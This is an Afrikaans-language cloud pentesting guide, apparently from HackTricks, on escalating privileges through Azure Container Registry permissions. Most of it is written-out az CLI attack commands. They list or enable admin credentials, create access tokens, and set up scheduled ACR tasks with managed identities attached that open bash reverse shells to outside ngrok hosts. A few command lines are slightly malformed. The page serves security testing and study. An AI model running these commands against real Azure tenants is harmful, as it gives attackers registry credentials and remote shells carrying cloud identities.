# Az - Azure Container Registry Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Registry

Vir meer inligting, kyk:

{{#ref}}
../az-services/az-container-registry.md
{{#endref}}

### `Microsoft.ContainerRegistry/registries/listCredentials/action`

Hierdie toestemming laat die gebruiker toe om die admin geloofsbriewe van die ACR te lys. Dit is nuttig om **volledige toegang** tot die registrasie te verkry.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
As die admin geloofsbriewe nie geaktiveer is nie, sal jy ook die toestemming `Microsoft.ContainerRegistry/registries/write` nodig hê om hulle te aktiveer met:
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`

Hierdie toestemmings laat die gebruiker toe om **'n nuwe token te skep** met wagwoorde om toegang tot die registrasie te verkry.

Om die `az cli` te gebruik om dit te genereer soos in die volgende voorbeeld, sal jy ook die toestemmings `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` benodig.
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`

Hierdie toestemmings laat die gebruiker toe om **'n beeld te bou en uit te voer** in die registrasie. Dit kan gebruik word om **kode** in die houer uit te voer.

>[!WARNING]
> egter, die beeld sal in 'n **sandboxed omgewing** uitgevoer word en **sonder toegang tot die metadata diens**. Dit beteken dat die houer nie toegang tot die **instansie metadata** sal hê nie, so dit is nie regtig nuttig om voorregte te verhoog nie.
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`

Dit is die hooftoestemming wat toelaat om 'n taak in die registrasie te skep en op te dateer. Dit kan gebruik word om **kode binne 'n houer met 'n bestuurde identiteit daaraan geheg** in die houer uit te voer.

Hierdie is die voorbeeld van hoe om 'n reverse shell in 'n houer met die **stelsel bestuurde** identiteit daaraan geheg uit te voer:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
'n Ander manier om 'n RCE uit 'n taak te verkry sonder om 'n eksterne repository te gebruik, is om die `az acr task create` opdrag met die `--cmd` vlag te gebruik. Dit sal jou toelaat om 'n opdrag in die houer uit te voer. Byvoorbeeld, jy kan 'n omgekeerde skulp met die volgende opdrag uitvoer:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Let daarop dat jy nie enige spesiale toestemming nodig het om die stelsels bestuurde identiteit toe te ken nie, alhoewel dit voorheen in die registrasie geaktiveer moes wees en 'n paar toestemmings toegeken moes wees om nuttig te wees.

Om 'n **gebruikers bestuurde identiteit ook** toe te ken, sal jy die toestemming `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` nodig hê om te doen:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Om die **opdatering** van die repo van 'n bestaande taak te doen, kan jy:
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`

Met hierdie toestemming is dit moontlik om **'n beeld na die azure registrasie te importeer**, selfs sonder om die beeld plaaslik te hê. Let egter daarop dat jy **nie 'n beeld met 'n etiket kan invoer** wat reeds in die registrasie bestaan nie.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
Om 'n spesifieke beeldtag te **ontmerk of te verwyder** van die registrasie, kan jy die volgende opdrag gebruik. Let egter daarop dat jy 'n gebruiker of token met **voldoende regte** nodig sal hê om dit te doen:
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}
